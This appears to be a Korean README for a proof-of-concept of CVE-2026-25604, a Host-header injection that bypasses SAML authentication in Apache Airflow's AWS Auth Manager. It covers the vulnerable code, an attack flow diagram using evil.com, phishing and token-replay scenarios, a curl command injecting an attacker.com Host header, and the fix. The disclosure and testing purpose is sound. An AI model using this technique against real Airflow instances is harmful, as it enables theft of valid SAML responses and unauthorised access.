
CVE-2026-25604 시연용 PoC
Apache Airflow의 AWS Auth Manager에서 호스트 헤더 인젝션으로 인한 SAML 인증 우회
공격자는 SAML 로그인 흐름에 악의적인 Host 헤더를 주입하여 Assertion Consumer Service (ACS) URL이 공격자가 제어하는 서버를 가리키도록 할 수 있습니다. 이를 통해 공격자는 유효한 SAML 응답을 캡처하고 이를 재전송하여 피해자 Airflow 인스턴스에 무단 액세스를 얻거나, 액세스 제어가 다른 여러 Airflow 인스턴스 간에 토큰을 재사용할 수 있습니다.
| 패키지 | 영향 받는 버전 | 수정된 버전 |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: AWS Auth Manager의 출처 검증 오류 (CWE-346)
AWS Auth Manager에서 SAML 인증의 출처가 클라이언트가 제공한 대로 사용되었으며 실제 인스턴스 URL과 확인되지 않았습니다. 이로 인해 다른 인스턴스의 SAML 응답을 재사용하여 잠재적으로 다른 액세스 제어가 적용된 다른 인스턴스에 액세스할 수 있었습니다.
— NVD
| 출처 | 링크 |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| 수정 PR | https://github.com/apache/airflow/pull/61368 |
| 수정 커밋 |
Apache Airflow의 AWS Auth Manager는 AWS IAM Identity Center를 통한 SAML 2.0 인증을 사용합니다. SAML 인증 요청을 구성할 때 _prepare_flask_request() 메서드는 수신 HTTP 요청의 Host 헤더를 직접 읽어 ACS 콜백 URL을 생성합니다:
# aws_auth_manager.py의 취약한 코드
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- 공격자 통제 가능
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # ACS URL 구성에 사용됨
"server_port": port,
...
}
결과 http_host 및 server_port는 SAML AssertionConsumerService URL을 구성하는 데 사용됩니다. IdP(Identity Provider)가 이 URL을 신뢰하기 때문에 인증된 사용자(서명된 SAML 응답 포함)를 Host 헤더가 가리키는 곳으로 리디렉션합니다.
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
시나리오 A — 피싱을 통한 토큰 탈취: 공격자는 합법적인 사용자에게 조작된 로그인 링크(리버스 프록시를 통해 위조된 Host 헤더 포함)를 보냅니다. 사용자가 IAM Identity Center로 인증하면 SAML 응답이 공격자의 서버로 리디렉션됩니다. 공격자는 이를 실제 Airflow 인스턴스에 재전송합니다.
시나리오 B — 교차 인스턴스 토큰 재사용: 다중 테넌트 또는 다중 인스턴스 Airflow 환경에서 인스턴스 A의 유효한 SAML 응답을 인스턴스 B에 재전송할 수 있습니다. 출처가 실제 인스턴스 URL과 확인되지 않기 때문에 인스턴스 B의 다른 액세스 제어가 우회됩니다.
CVE-2026-25604-PoC/
├── README.md # 이 파일
└── mock_airflow.py # 취약한 모의 Airflow 서버
pip install flask python3-saml
Airflow AWS Auth Manager 문서에 따라 AWS IAM Identity Center에서 SAML 2.0 애플리케이션을 설정합니다:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
예:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
별도의 터미널에서 조작된 Host 헤더로 SAML 로그인을 시작합니다:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
서버는 AWS IAM Identity Center 로그인 페이지로 302 리디렉션으로 응답합니다. SAML AuthnRequest를 검사하면 AssertionConsumerService URL이 합법적인 서버 대신 attacker.com:9090/login_callback을 가리키는 것을 확인할 수 있습니다.
모의 Airflow 서버 콘솔에서:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
SAML AuthnRequest는 이제 IdP가 인증된 SAML 응답을 attacker.com:9090으로 전달하도록 지시하여, 공격자에게 재전송할 유효한 토큰을 제공합니다.
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — _prepare_flask_request() 메서드:
host = request.headers.get("Host", request.host)
이 줄은 클라이언트가 제공한 Host 헤더를 신뢰하며, 구성된 Airflow 기본 URL(AIRFLOW__API__BASE_URL)과 검증하지 않습니다.
수정(PR #61368, 2026년 2월 3일 병합)은 요청에서 파생된 호스트 값을 Airflow 구성 값으로 대체합니다:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
이렇게 하면 클라이언트가 보내는 Host 헤더와 관계없이 ACS URL이 항상 관리자가 구성한 실제 인스턴스 URL과 일치하게 됩니다.
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고 귀하가 소유하거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.
1a86aec |